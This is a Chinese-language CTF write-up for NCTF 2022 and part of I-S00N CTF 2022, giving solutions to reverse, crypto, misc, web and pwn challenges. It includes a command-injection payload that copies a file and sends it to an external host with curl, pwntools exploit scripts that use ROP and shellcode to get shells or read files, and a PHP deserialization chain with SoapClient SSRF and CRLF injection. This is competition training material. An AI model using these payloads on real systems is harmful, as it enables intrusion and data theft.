2022 NCTF Partly WriteUp | The Last Dance in this year

REVERSE

Cyberpunk

a=open("/ata0a/flag",7)
tmpHeap=malloc(0x100)
read(5,tmpHeap,0x100)
xor(tmpHeap,81)
d tmpHeap

Ccccha

#include <stdio.h>
#include <stdlib.h>

int main() {
        unsigned long long fuck[] = { 0x24aa2514342efc10 ,0x57b9d9d0924bd6aa ,0x668a271f44325f8f ,0x1900ecaca269bcb6 ,0x774ec7717c3840df ,0xd878e3846e0ebb32 };
        uint8_t fuckres[42];
        for (int i = 0; i < 42; i++)
        {
                fuckres[i] = *(((char*)fuck) + i);
        }
        unsigned long long fuck2[] = { 0x23ce4b73757cc05e ,0x708f01f3ac89bba4 ,0x62d45b4183317fc8 ,0x4b50fc9ddc27a7a6 ,0x385117386b2f9806 ,0xef2f };
        unsigned char flag[42];
        for (int i = 0; i < 42; i++)
        {
                flag[i] = *(((char*)fuck2) + i)-i;
                flag[i] ^= fuckres[i];
                printf("%c", flag[i]);
        }
}

ez_rev

四个字节一组进行运算,最后手推出来两个一模一样的二元一次方程

z3求解

from z3 import *

result = [
  0x7A, 0x08, 0x2E, 0xBA, 0xAD, 0xAF, 0x82, 0x8C, 0xEF, 0xD8, 
  0x0D, 0xF8, 0x99, 0xEB, 0x2A, 0x16,
  0x05, 0x43, 0x9F, 0xC8, 0x6D, 0x0A, 0x7F, 0xBE, 0x76, 0x64, 
  0x2F, 0xA9, 0xAC, 0xF2, 0xC9, 0x47,
  0x75, 0x75, 0xB5, 0x33
]

for i in range(0, len(result), 2):
    x=BitVec('x', 8)
    y = BitVec('y', 8)
    s=Solver()
    s.add(x * 0x7e + y * 0x19 == result[i])
    s.add(x * 0x1f + y * 0x75 == result[i + 1])
    print(s.check())
    print((s.model()))

flag = [102, 54, 100, 102, 102, 97, 98, 54, 45, 49, 55, 51, 102, 45, 52, 98, 98, 49, 45, 97, 57, 55, 51, 45, 54, 50, 102, 51, 102, 56, 50, 53, 52, 101, 98, 97]
s = ""
for i in flag:
    s += chr(i)
    print(s)

#NCTF{f6dffab6-173f-4bb1-a973-62f3f8254eba}

just run it

逆推出映射转化关系,写出逆转换函数,将正确的box逆转换,再和box2 异或,再逆转换既可得到正确的key

def decode(a):
    s=a.copy()
    s[0]=a[0]
    s[1]=a[1]
    s[2]=a[4]
    s[3]=a[8]
    s[4]=a[5]
    s[5]=a[2]
    s[6]=a[3]
    s[7]=a[6]
    s[8]=a[9]
    s[9]=a[12]
    s[10]=a[13]
    s[11]=a[10]
    s[12]=a[7]
    s[13]=a[11]
    s[14]=a[14]
    s[15]=a[15]
    return s
out2=[17, 77, 146, 218, 172, 11, 98, 247, 84, 81, 39, 90, 114, 98, 123, 118]
xor_box=[70, 124, 193, 49, 103, 162, 180, 13, 50, 17, 80, 21, 131, 60, 20, 87]
out1=decode(out2)
for i in range(len(out1)):
    out1[i]^=xor_box[i]
key=decode(out1)
for i in key:
    print(chr(i),end='')

得到争取的key W1lc0menctf2o2o!

动调推出下面为SM4

box=bytes([77, 147, 190, 22, 46, 222, 51, 116, 218, 83, 246, 138, 67, 99, 98, 132, 213, 246, 42, 195, 208, 165, 4, 45, 3, 104, 46, 18, 148, 36, 51, 16, 249, 246, 91, 97, 92, 22, 93, 222, 144, 134, 191, 223, 61, 11, 205, 59])
key = b'W1lc0menctf2o2o!'

其中最后sm4解密我用的是在线解密

ps:因为gmssl.sm4库坑死我了,填充方式应该为无填充,可它加个未知的填充坑了我好久

Crypto

signin

  1. MTP攻击后校正
  2. 通过异或获得完整信息
"""
p11 ^ tmp11
p12 ^ tmp12
"""

import Crypto.Util.strxor as xo
import codecs, numpy as np
import hashlib

def isChr(x):
    if ord('a') <= x and x <= ord('z'): return True
    if ord('A') <= x and x <= ord('Z'): return True
    return False

def attack(cipher):
    dat = []

    def getSpace(c):
        for index, x in enumerate(c):
            res = [xo.strxor(x, y) for y in c if x!=y]
            f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
            cnt = [f(pos) for pos in range(len(x))]
            for pos in range(len(x)):
                dat.append((f(pos), index, pos))

    def infer(index, pos):
        if msg[index, pos] != 0:
            return
        msg[index, pos] = ord(' ')
        for x in range(len(c)):
            if x != index:
                msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

    c = [codecs.decode(x.strip().encode(), 'hex') for x in cipher]
    # print(c)

    msg = np.zeros([len(c), len(c[0])], dtype=int)

    getSpace(c)

    dat = sorted(dat)[::-1]
    for w, index, pos in dat:
        infer(index, pos)

    return [''.join([chr(c) for c in x]) for x in msg]

cipher = '19c51488dda8c5a43b77d3eba6cc534c3b7ef72c944d1341c0af66885c9bc32d2cc614db92bc91b6226c90e6e3ca5e5e3278ee2cd56c216cc9ee2b94419080283fc21fc7c7ae91a73a7196ecae8954472a75f97e92221c77c9e86e895d8c823428de51c3d7a4c2a03c6692e0e3cb5b413976ef209c753d6a8ae72b864a9bc33425c81f88ea92e3b12a2384e4b7c1175a3278bc7cd0633c6d9dea7393189c8f2f2ec60288c6b291b32b77d3f9abcc174d336df469ce76307b9da12bad4d8d97602cde51dfdba9d9f421779be8b189445a2878fd619c613c7381ea799414de852c24dd01c1dcba91b56e619af9e3c0590e2e75f92cdf6b256b8cfd7f82408ac3303fc215ddd1b8c2f42f2395e1aad9474b3e3dfe65c8223c6dc9fb6382188e8f2124c305cdcaa991b53a2387e5a689444f3778bc60d361347780e065c918aa8b293e8d01daddadd4a63a7ad3ecafc55859293df16dd27b75669bfd6495159d8c323fc812dcdbb3d6f42d6c97e8b08943417a7be962df763c6c87af65884a93822c21d451cdc4b8dff4396b96e3e3c8475e3674f9689c60306586fd6ec75d90803234dd05c1ddb39f'
c1 = [cipher[2*i*32:(2*i+1)*32] for i in range((len(cipher) // 32)//2)]

a1 = attack(c1)

c2 = [cipher[(2*i+1)*32:(2*i+2)*32] for i in range((len(cipher) // 32)//2)]
a2 = attack(c2)
print(a1)
print(a2)
for i in range(len(a2)):
    print(a1[i],end='')
    print(a2[i], end='')

m11 = b'The output feedb'
m12 = b'ack (OFB) mode m'

def sxor(b1, b2):
    ans = []
    for each in range(len(b1)):
        ans.append(b1[each] ^ b2[each])
    return bytes(ans)

tmp11 = sxor(b''.fromhex(c1[0]), m11)
tmp12 = sxor(b''.fromhex(c2[0]), m12)

print()
print()
msg = ''
C = [cipher[i*32:(i+1)*32] for i in range(len(cipher)//32)]+[cipher[-(len(cipher) % 32):]]
for i in range(len(C)):
    if i % 2 == 0:
        key = tmp11
    else:
        key = tmp12
    c = b''.fromhex(C[i])
    len1 = len(c)
    if len1 != 16:
        key = key[:len1]
    msg += sxor(key, c).decode()

print(msg)
m = hashlib.md5()
m.update(msg.encode())
print(m.hexdigest())
# The output feedback (OFB) mode makes a block cipher into a synchronous stream cipher. It generates keystream blocks, which are then XORed with the plaintext blocks to get the ciphertext. Just as with other stream ciphers, flipping a bit in the ciphertext produces a flipped bit in the plaintext at the same location. This property allows many error-correcting codes to function normally even when applied before encryption.
# 544c25a09043b994bcc00ecda3d05b4e
# NCTF{4_FUNNY_CrYP70_516N1N}

Coloratura

  • 随机数回溯恢复SourceImg(不足补零)
  • 异或得到flag
import sys

from Crypto.Util.number import *
from PIL import Image, ImageDraw
from random import getrandbits
width = 208
height = 208
img3 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
s = []
# # img2 = makeFlagImg()
# # img2.save('1203.png')
# img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        tmp = list(img3.getpixel((j, i)))
        tmp = [int(tmp[k] ^ 0) for k in range(3)]  # 异或0
        s += tmp

s = bytes(s)
s = [s[i*4:(i+1)*4] for i in range(len(s)//4)]

from extend_mt19937_predictor import ExtendMT19937Predictor
predictor = ExtendMT19937Predictor()
for _ in range(-624,0):
    predictor.setrandbits(bytes_to_long(s[_][::-1]), 32)

_ = [predictor.backtrack_getrandbits(32) for _ in range(624)]  # 回溯到起始状态

ans = b''.join(s[-624:])

for i in range((129792 // 4)-624):
    tmp = predictor.backtrack_getrandbits(32)
    tmp = long_to_bytes(tmp)[::-1]
    tmp = list(tmp)
    if len(tmp) != 4:
        tmp = [0] + tmp
        # sys.exit()
    ans = bytes(tmp) + ans
def makeSourceImg():
    colors = ans
    img = Image.new('RGB', (width, height))
    x = 0
    for i in range(height):
        for j in range(width):
            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))
            x += 3
    return img

img1 = makeSourceImg()
# img2 = makeFlagImg()
img2 = Image.open('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/attach.png')
img3 = Image.new("RGB", (width, height))
for i in range(height):
    for j in range(width):
        p1, p2 = img1.getpixel((j, i)), img2.getpixel((j, i))
        img3.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))
img3.save('/Users/0HB/Desktop/复现/NCTF2022/Coloratura/flag.png')
# nctf{Coloratura_Coldplay}

dp_promax

dp_promax _revenge里有提示,factordb上可查,哈人

import gmpy2, libnum

n= 46460689902575048279161539093139053273250982188789759171230908555090160106327807756487900897740490796014969642060056990508471087779067462081114448719679327369541067729981885255300592872671988346475325995092962738965896736368697583900712284371907712064418651214952734758901159623911897535752629528660173915950061002261166886570439532126725549551049553283657572371862952889353720425849620358298698866457175871272471601283362171894621323579951733131854384743239593412466073072503584984921309839753877025782543099455341475959367025872013881148312157566181277676442222870964055594445667126205022956832633966895316347447629237589431514145252979687902346011013570026217
e = 13434798417717858802026218632686207646223656240227697459980291922185309256011429515560448846041054116798365376951158576013804627995117567639828607945684892331883636455939205318959165789619155365126516341843169010302438723082730550475978469762351865223932725867052322338651961040599801535197295746795446117201188049551816781609022917473182830824520936213586449114671331226615141179790307404380127774877066477999810164841181390305630968947277581725499758683351449811465832169178971151480364901867866015038054230812376656325631746825977860786943183283933736859324046135782895247486993035483349299820810262347942996232311978102312075736176752844163698997988956692449
c = 28467178002707221164289324881980114394388495952610702835708089048786417144811911352052409078910656133947993308408503719003695295117416819193221069292199686731316826935595732683131084358071773123683334547655644422131844255145301597465782740484383872480344422108506521999023734887311848231938878644071391794681783746739256810803148574808119264335234153882563855891931676015967053672390419297049063566989773843180697022505093259968691066079705679011419363983756691565059184987670900243038196495478822756959846024573175127669523145115742132400975058579601219402887597108650628746511582873363307517512442800070071452415355053077719833249765357356701902679805027579294
p = 3628978044425516256252147348112819551863749940058657194357489608704171827031473111609089635738827298682760802716155197142949509565102167059366421892847010862457650295837231017990389942425249509044223464186611269388650172307612888367710149054996350799445205007925937223059
q = n//p
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = int(pow(c,d,n))
print(libnum.n2s(m))
# nctf{Th1s_N_May_n0t_s0@o0@@_secur3}

misc

只因因

使用提及的blast工具,可以找到基因为"CFTR",然后md5加密即可。

http://www.ncbi.nlm.nih.gov/BLAST/

image

Signin

炉边聚会

网上找的学习链接:

大神_游戏热爱者兴趣圈_游戏社区

炉石卡组代码解析

里面有现成的脚本,拼接起来,替换掉strings输出即可。

<?php
$deckstring = "strings";
#这是一个非常有趣的萨满卡组
$binary = base64_decode($deckstring);
$hex = bin2hex($binary);
#对于这个卡组,$hex="00010101fd06000fce069707cc08e20cff0fc814e616b6ac02aeb002a5be02f8bf02f9bf02a2cd02f8d002a6ef0200"
$arr = str_split($hex, 2);
$arr = array_map("hexdec", $arr);
function read_varint(&$data) {
    $shift = 0;
    $result = 0;
    do {
        $c = array_shift($data);
        $result |= ($c & 0x7f) << $shift;
        $shift += 7;
    }
    while ($c & 0x80);
    return $result;
}
function parse_deck($data) {
    $reserve = read_varint($data);
    if ($reserve != 0) {
        printf("Invalid deckstring");
        die;
    }
    $version = read_varint($data);
    if ($version != 1) {
        printf("Unsupported deckstring version %s", $version);
        die;
    }
    $format = read_varint($data);
    $heroes = [];
    $num_heroes = read_varint($data);
    for ($i = 0; $i < $num_heroes; $i++) {
        $heroes[] = read_varint($data);
    }
    $cards = [];
    $num_cards_x1 = read_varint($data);
    for ($i = 0; $i < $num_cards_x1; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 1];
    }
    $num_cards_x2 = read_varint($data);
    for ($i = 0; $i < $num_cards_x2; $i++) {
        $card_id = read_varint($data);
        $cards[] = [$card_id, 2];
    }
    $num_cards_xn = read_varint($data);
    for ($i = 0; $i < $num_cards_xn; $i++) {
        $card_id = read_varint($data);
        $count = read_varint($data);
        $cards[] = [$card_id, $count];
    }
    return [$cards, $heroes, $format];
}
print_r(parse_deck($arr)[0]);

image

其实后面就卡住了,但是注意到每个卡组数字是一,然后前两个是780和670

image

就是除以10然后正常拼接就行,字数不多可以手撕

image

qrssssssss

二维码批量识别,批量二维码识别 - 支持批量处理,按时间递增排序,然后对文本进行稍稍处理一下:

NNNNNNNNNNNNNNNN
CTTTCCTTFTCTFFFC
TCTCCCFFCFFCCTFT
CTFCTFFFFFTCTTFC
{77{{7{{{{{7{77{
7{{{77777{77{7{7
3333333333333333
7777777777777777
1111111111111111
5555555555555555
--00----00--0--0
-00-0-00---00000
eeeeeeeeeeeeeeee
ebeebeebeebebbbe
bebebebeebeebbbb
----------------
4444444444444444
6565556555566566
6666565655566655
----------------
99ee9eee9ee99ee9
e99e99e999eee99e
1111111111111111
----------------
1111111111111111
1111111111111111
0000000000000000
aa8aa8a8a8aa88a8
aa8a8a8888a8a88a
ffffffffffffffff
bbbbbbbbbbbbbbbb
}}}}}}}}}}}}}}}}

括号内的内容是26个,其实基本都能确定了,剩下的可以多次试一试就找到了:

image

NCTF{737150-eeb-465-e91-110a8fb}

qrssssssss_revenge

这个题目按照时间、文件大小排序都没有很好的效果,但是有HINT:LMQH

所以这个题目是要按照纠错等级进行分布,恰好,QR RESEARCH支持这个功能,还是括号内26个字母,手撕开始:

image

image

然后按照掩码从0开始进行顺序拼接:

NCTF{621 
30783efd 
44b3692b 
4ddbecf}

拼接即可:NCTF{62130783efd44b3692b4ddbecf}

Signout

image

NCTF{Thanks_for_your_participation}

web

calc

这题是半个原题,过滤了#,但是没过滤',通过'''来闭合,进而执行命令

开始尝试了curl外带,但/flag不存在,由于是公网环境,读tmp/log.txt发现里面有根目录,就看到了flag名字Th1s_is__F1114g,但还是读不了flag,因为名字里面有过滤字符

采取的办法,cp来绕过

/calc?num=%27%27%271%27%0acp%09/T*%09/1.txt%0a%273%27%27%27 

然后通过curl外带数据

/calc?num=%27%27%271%27%0acurl%09-T%09/1.txt%09ip:port%0a%273%27%27%27

参考文章

DASCTF X SU 三月春季挑战赛复现 - xiaolong's blog (xiaolong22333.top)

pwn

babyLinkedList

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

libc = ELF('libc.so')

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        self.pipe = remote('49.233.15.226', 8002)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, size, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendlineafter(b'size\n', str(size).encode())
        self.sendafter(b'content\n', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        time.sleep(0.1)
        sh.send(content)

sh = Shell()
for i in range(54):
    sh.add(0x1c, b'aaaa')
sh.edit(b'b' * 0x20)
sh.show()
sh.recvuntil(b'b' * 0x20)
libc_addr = (u64(sh.recvn(6) + b'\0\0') - 0xa6000) & (~0xfff)
success('libc_addr: ' + hex(libc_addr))

sh.edit(b'c' * 0x20 + p64(libc_addr + libc.sym['environ']))
sh.show()

sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.add(0x1c, b'dddd')
sh.edit(b'e' * 0x20 + p64(stack_addr - 0x90))

sh.edit(p64(libc_addr + next(libc.search(asm('pop rdi;ret;')))) + p64(libc_addr + next(libc.search(b'/bin/sh'))) + p64(libc_addr + libc.sym['system']))

sh.interactive()
#date -f /home/ctf/flag

ezlink

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='debug')
        # self.pipe = process(['./ezlink'])
        self.pipe = remote('49.233.15.226', 8003)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

    def add(self, content):
        self.sendlineafter(b'>> ', b'1')
        self.sendafter(b'secret', content)

    def delete(self):
        self.sendlineafter(b'>> ', b'2')

    def show(self):
        self.sendlineafter(b'>> ', b'3')

    def edit(self, content):
        self.sendlineafter(b'>> ', b'4')
        self.sendafter(b'content', content)

sh = Shell()
sh.add(flat({0x18:0xc91}))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
heap_addr = u64(sh.recvn(6) + b'\0\0') 
next_low1 = 0x590
low1 = 0x4b0
low2 = ((heap_addr >> 0) & 0xfff) ^ next_low1
low3 = ((heap_addr >> 12) & 0xfff) ^ low2
low4 = ((heap_addr >> 24) & 0xfff) ^ low3
heap_addr = low1 + (low2 << 12) + (low3 << 24) + (low4 << 36)
heap_addr = heap_addr - 0x14b0
success('heap_addr: ' + hex(heap_addr))

for i in range(7):
    sh.add(b'\n')
sh.delete()

sh.edit(p64(((heap_addr + 0x2080) >> 12) ^ (heap_addr + 0x2240)))
sh.add(p64(heap_addr + 0x14b0) + p64(heap_addr + 0x14d0))
sh.delete()
sh.show()
sh.recvuntil(b'secret\n')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x219ce0
success('libc_addr: ' + hex(libc_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x14b0) >> 12) ^ (libc_addr + 0x21a780)))
sh.add(p64(0xfbad3887) + p64(0) * 3 + p64(libc_addr + 0x221200) + p64(libc_addr + 0x221208) + p64(libc_addr + 0x221208))
sh.recvuntil(b'\n')
stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

sh.add(b'\n')
sh.delete()
sh.edit(p64(((heap_addr + 0x1640) >> 12) ^ (stack_addr-0x128)))

shellcode1 = asm('''

    mov edi, 1
    lea rsi, s1[rip]
    mov edx, 7
    mov eax, 1
    syscall

    xor edi, edi
    lea rsi, end[rip]
    mov edx, 0x200
    xor eax, eax
    syscall

    jmp end

s1:
    .string "Polaris"
end:
''')

shellcode2 = asm('''

    jmp start
puts:
    push rax
    push rdi
    push rsi
    push rdx
    push rbx
    xor eax, eax
puts_again:
    mov bl, byte ptr [rdi + rax]
    test bl, bl
    je puts_over
    inc eax
    jmp puts_again
puts_over:
    mov edx, eax
    mov rsi, rdi
    xor edi, edi
    inc edi
    mov eax, edi
    syscall

    xor eax, eax
    mov al, 9
    inc eax
    push rax
    mov rsi, rsp
    xor edi, edi
    inc edi
    mov edx, edi
    mov eax, edi
    syscall
    pop rax

    pop rbx
    pop rdx
    pop rsi
    pop rdi
    pop rax
    ret

start:
    mov r15d, 0x01010901
    sub r15d, 0x01010101
    add rsp, r15

    ;// mov rax, 0x10101010101676d
    ;// mov r15, 0x0101010101010101
    ;// sub rax, r15
    ;// push rax
    ;// mov rax, 0x65732f636f72702f
    ;// push rax
    ;// "/proc/self"

    ;// push 0x2e
    ;// "."

    push 0x2f
    ;// "/"

    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall  ;// open(path, O_RDONLY)
    push rax

    xor edi, edi
    mov esi, 0x01014101
    sub esi, 0x01010101
    mov edx, edi
    mov dl, 3
    mov r10d, 0x01010123
    sub r10d, 0x01010101
    mov r8d, edi
    inc r8d
    mov r9d, edi
    xor eax, eax
    mov al, 9
    syscall ;// mmap(NULL, size, 3, 0x22, -1, 0)

    mov rsi, rax
    pop rdi
    mov edx, 0x01014101
    sub edx, 0x01010101
    mov eax, 0x010101da
    sub eax, 0x01010101
    syscall ;// getdents64(fd, buf, buf_size)

next_file:
    xor rax, rax
    mov ax, [rsi + 0x10] ;// d->d_reclen
    lea rdi, [rsi + 0x13] ;// d->d_name
    cmp dword ptr [rdi], 0x67616c66
    jz puts_flag
    call puts ;// puts(d->d_name)
    add rsi, rax
    mov rax, [rsi]
    test rax, rax
    jne next_file

    exit:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

puts_flag:
    mov rsi, rdi
    xor eax, eax
    mov edx, eax
    mov edi, -100
    mov eax, 257
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.add(flat([
    0, 
    libc_addr + 0x000000000002a3e5,
    (stack_addr & (~0xfff)),
    libc_addr + 0x000000000002be51,
    0x1000,
    libc_addr + 0x000000000011f497,
    7, 0,
    libc_addr + 0x0000000000045eb0,
    10,
    libc_addr + 0x0000000000091396,
    libc_addr + 0x000000000008821d,
]) + shellcode1)

sh.sendlineafter(b'>> ', b'5')
sh.recvuntil(b'Polaris')
sh.send(shellcode2)

sh.interactive()

ezshellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

class Shell():
    def __init__(self):
        self.clear(arch='amd64', os='linux', log_level='info')
        # self.pipe = remote('localhost', 9999)
        self.pipe = remote('121.4.15.155', 9999)

    def send(self, data:bytes, **params): return self.pipe.send(data, **params)
    def sendline(self, data:bytes, **params): return self.pipe.sendline(data, **params)
    def recv(self, **params): return self.pipe.recv(**params)
    def close(self, **params): return self.pipe.close(**params)
    def recvrepeat(self, timeout, **params): return self.pipe.recvrepeat(timeout, **params)
    def interactive(self, **params): return self.pipe.interactive(**params)
    def clear(self, **params): return context.clear(**params)

    def recvn(self, numb, **params): 
        result = self.pipe.recvn(numb, **params)
        if(len(result) != numb):
            raise EOFError('recvn')
        return result

    def recvuntil(self, delims, **params):
        result = self.pipe.recvuntil(delims, drop=False, **params)
        if(not result.endswith(delims)):
            raise EOFError('recvuntil')
        return result[:-len(delims)]

    def sendafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.send(data, **params)

    def sendlineafter(self, delim, data, **params):
        self.recvuntil(delim, **params)
        self.sendline(data, **params)

def ptrace_hook(_pid):
    _sh = Shell()
    shellcode = asm(f'''

        mov edi, 16 ;// PTRACE_ATTACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        ;// get_image_addr
        sub rsp, 232
        mov esi, {_pid}
        xor edx, edx
        mov edi, 12
        mov r10, rsp
        xor r8d, r8d
        xor r9d, r9d
        l1:
        mov eax, 101
        syscall
        cmp rax, 0
        jl l1

        mov rax, QWORD PTR 40[rsp]
        add rsp, 232
        sub rax, 4928

        mov edi, 5 ;// PTRACE_POKEDATA
        mov esi, {_pid}
        lea rdx, [rax + 0x4050]
        mov r10, rax
        add r10, 0x1333
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, 17 ;// PTRACE_DETACH
        mov esi, {_pid}
        xor edx, edx
        xor r10d, r10d
        xor r8d, r8d
        xor r9d, r9d
        mov eax, 101
        syscall

        mov edi, {_pid}
        mov esi, 18
        mov eax, 62
        syscall

    exit:
        xor edi, edi
        mov eax, 231
        syscall ;// exit

    ''')
    _sh.recvuntil(b'\n')
    # pause()
    _sh.send(shellcode)
    _sh.close()

sh = Shell()

sh.recvuntil(b': ')
pid = int(sh.recvuntil(b'\n'))
success(f'pid: {pid}')

ptrace_hook(pid)

# pause()

sh.send(asm('''

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

'''))

sh.interactive()
# flag{053d8801-8700-4ff5-a6d5-20cc762b719e}

2022 I-S00N CTF Partly Writeup | By SanDieg0

PWN

babyarm

首先就是绕过一个简单的变表base64的加密key

然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget

使用的是arm32中万能的gadget

from pwn import *
#p = process(["qemu-arm","-g", "1212","-L", "/usr/arm-linux-gnueabi/", "./chall"])
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi/','./chall'])
p = remote('47.108.29.107',10244)
context.log_level='debug'
context.arch='arm'

elf = ELF('./chall')
libc = ELF('./libc-2.27.so')
#context.terminal = ['gnome-terminal','-x','sh','-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

sla('msg> ','s1mpl3Dec0d4r')
r4 = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leak('puts',puts_plt)
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(puts_plt)+p32(movcall)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x0010B60)
pause()
p.sendlineafter('comment> ',pl)
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
sla('msg> ','s1mpl3Dec0d4r')

pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(system)+p32(movcall)
p.sendlineafter('comment> ',pl)

p.interactive()

image

{: id="20221127195858-c3goidh" updated="20221127195900"}

WEB

babyphp

<?php
//something in flag.php

class A
{

    public $a;
    public $b;

    public function __construct()
    {
        $this->a="0e1137126905";
    }
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;
    public function __construct(){
        $this->a="phpinfo";
    }
/*
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    */
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$pop=new B();
$pop->a=new C();
$pop->a->c=new A();
$pop->a->c->b=new C();

echo serialize($pop);

同时在 flag.php中 需要使用ssrf 尝试在call_user_func处 使用soapclient 进行 ssrf

<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "sp4c1ous\r\nCookie:PHPSESSID=flag123\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);

然后结合session反序列化 可以打出

image

ez_js

